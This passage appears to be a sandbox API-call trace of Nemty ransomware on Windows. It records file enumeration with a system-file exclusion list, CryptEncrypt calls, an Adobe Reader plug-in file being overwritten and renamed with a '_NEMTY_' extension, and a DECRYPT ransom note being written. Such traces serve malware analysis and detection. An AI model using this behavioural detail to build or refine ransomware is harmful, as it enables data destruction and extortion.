lpString2="BOOTSECT.BAK") returned 1 [0192.982] lstrcmpiW (lpString1="weblink.api", lpString2="bootmgr") returned 1 [0192.982] lstrcmpiW (lpString1="weblink.api", lpString2="programdata") returned 1 [0192.982] lstrcmpiW (lpString1="weblink.api", lpString2="appdata") returned 1 [0192.982] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.982] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="weblink.api", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0192.982] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="weblink.api", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="weblink.api", lpUsedDefaultChar=0x0) returned 11 [0192.982] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0192.982] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="weblink.api", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0192.982] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="weblink.api", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="weblink.api", lpUsedDefaultChar=0x0) returned 11 [0192.982] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0192.982] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.982] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.983] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="weblink.api", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0192.983] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="weblink.api", cchWideChar=11, lpMultiByteStr=0x653ec20, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="weblink.api", lpUsedDefaultChar=0x0) returned 11 [0192.983] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.983] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.983] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="weblink.api", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0192.983] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="weblink.api", cchWideChar=11, lpMultiByteStr=0x653ec58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="weblink.api", lpUsedDefaultChar=0x0) returned 11 [0192.983] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.983] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0192.983] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0192.983] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0192.983] Sleep (dwMilliseconds=0x5) [0192.987] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x26acd6d0, dwHighDateTime=0x1d561e8)) [0192.987] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x26acd6d0, dwHighDateTime=0x1d561e8)) [0192.987] GetLastError () returned 0x0 [0192.987] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0192.987] GetLastError () returned 0x0 [0192.987] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.987] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0192.988] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0192.988] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0192.988] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0192.988] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0192.988] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0192.988] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e91c | out: pszString="RkBU5CX2heu4v2mJCKH/TN//0m3id6n7fuugV2vPrbyux+NBriqrq6yRLtTnObSZ\r\n4VNk/eYn1hw9wdSOLkmsB5240ouTiuYIcBg+XJbMUKM509gFbPeAaMeoQcG6Usmj\r\nfiv5BxvthUkwFSx0aIf998tZbnn2i0Nff85ERF6Nd6X2JjwLjTJVndnIBFiu8NqS\r\n83ZNINMHrWAwAvfPvS/J/LqSkFg5JmprcEYpGn6d0h5+puzC/w1pUAvSSjiiFjiH\r\nsydXaJuDJMvjHHxkPwl24aVcT+Y+ljBEJ5XXRcPlIWUIkAHFR/yxAGOdVpRSD5Jq\r\nwoUWkUyeQCtxMEjDJRCfPQ==\r\n", pcchString=0x653e91c) returned 1 [0192.988] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0192.988] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0192.988] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0192.988] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0192.988] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0192.988] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0192.988] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\weblink.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\weblink.api"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0192.988] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=306275) returned 1 [0192.989] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0192.989] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.989] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x19000, lpOverlapped=0x0) returned 1 [0192.998] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.998] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x19000, lpOverlapped=0x0) returned 1 [0192.998] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0192.998] SetFilePointer (in: hFile=0x254, lDistanceToMove=306275, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4ac63 [0192.998] WriteFile (in: hFile=0x254, lpBuffer=0x6348d60*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6348d60*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0192.999] CloseHandle (hObject=0x254) returned 1 [0193.000] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0193.000] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0193.000] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0193.000] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0193.000] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0193.000] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0193.000] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0193.000] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0193.000] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0193.000] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0193.000] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\weblink.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\weblink.api"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\weblink.api._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\weblink.api._nemty_kgobjgd_")) returned 1 [0193.001] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0193.001] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0193.001] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0193.001] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0193.001] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0193.001] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0193.001] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.001] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0193.001] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22fbd4f0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x22fbd4f0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x22fbd4f0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0193.001] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0193.001] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0193.001] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0193.001] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0193.001] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0193.001] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0193.001] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0193.001] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0193.001] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0193.001] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0193.001] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0193.001] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0193.001] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0193.001] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0193.001] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0193.001] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0193.001] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0193.001] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0193.001] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0193.001] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0193.001] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0193.001] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0193.002] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0193.002] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.002] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0193.002] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.002] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0193.002] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0193.002] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.002] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0193.002] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.002] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0193.002] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0193.002] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0193.002] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0193.002] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.002] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0193.002] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0193.002] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0193.002] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0193.002] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0193.002] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0193.002] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0193.002] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0193.002] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0193.002] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0193.002] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.002] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22fbd4f0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x22fbd4f0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x22fbd4f0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0193.002] FindClose (in: hFindFile=0x3423a70 | out: hFindFile=0x3423a70) returned 1 [0193.002] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0193.002] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0193.002] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94200 | out: hHeap=0x4f90000) returned 1 [0193.002] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7dbbfec0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7dc322e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7dc322e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="plug_ins3d", cAlternateFileName="PLUG_I~1")) returned 1 [0193.002] lstrcmpiW (lpString1="plug_ins3d", lpString2=".") returned 1 [0193.002] lstrcmpiW (lpString1="plug_ins3d", lpString2="..") returned 1 [0193.003] lstrcmpiW (lpString1="plug_ins3d", lpString2="...") returned 1 [0193.003] lstrcmpiW (lpString1="plug_ins3d", lpString2="windows") returned -1 [0193.003] lstrcmpiW (lpString1="plug_ins3d", lpString2="$RECYCLE.BIN") returned 1 [0193.003] lstrcmpiW (lpString1="plug_ins3d", lpString2="rsa") returned -1 [0193.003] lstrcmpiW (lpString1="plug_ins3d", lpString2="NTDETECT.COM") returned 1 [0193.003] lstrcmpiW (lpString1="plug_ins3d", lpString2="ntldr") returned 1 [0193.003] lstrcmpiW (lpString1="plug_ins3d", lpString2="MSDOS.SYS") returned 1 [0193.003] lstrcmpiW (lpString1="plug_ins3d", lpString2="IO.SYS") returned 1 [0193.003] lstrcmpiW (lpString1="plug_ins3d", lpString2="boot.ini") returned 1 [0193.003] lstrcmpiW (lpString1="plug_ins3d", lpString2="boot.ini") returned 1 [0193.003] lstrcmpiW (lpString1="plug_ins3d", lpString2="AUTOEXEC.BAT") returned 1 [0193.003] lstrcmpiW (lpString1="plug_ins3d", lpString2="ntuser.dat") returned 1 [0193.003] lstrcmpiW (lpString1="plug_ins3d", lpString2="desktop.ini") returned 1 [0193.003] lstrcmpiW (lpString1="plug_ins3d", lpString2="CONFIG.SYS") returned 1 [0193.003] lstrcmpiW (lpString1="plug_ins3d", lpString2="RECYCLER") returned -1 [0193.003] lstrcmpiW (lpString1="plug_ins3d", lpString2="BOOTSECT.BAK") returned 1 [0193.003] lstrcmpiW (lpString1="plug_ins3d", lpString2="bootmgr") returned 1 [0193.003] lstrcmpiW (lpString1="plug_ins3d", lpString2="programdata") returned -1 [0193.003] lstrcmpiW (lpString1="plug_ins3d", lpString2="appdata") returned 1 [0193.003] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.003] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="plug_ins3d", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0193.003] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="plug_ins3d", cchWideChar=10, lpMultiByteStr=0x653ef10, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="plug_ins3d", lpUsedDefaultChar=0x0) returned 10 [0193.003] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0193.003] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="plug_ins3d", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0193.003] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="plug_ins3d", cchWideChar=10, lpMultiByteStr=0x653ef10, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="plug_ins3d", lpUsedDefaultChar=0x0) returned 10 [0193.003] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0193.003] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.003] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94200 [0193.003] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0193.003] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94178 [0193.003] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0193.003] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0193.003] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.003] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0193.004] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0193.004] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.004] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94288 [0193.004] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0193.004] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f94330 [0193.004] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0193.004] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins3d\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0193.006] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94330 | out: hHeap=0x4f90000) returned 1 [0193.006] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.006] WriteFile (in: hFile=0x1ec, lpBuffer=0x634ad48*, 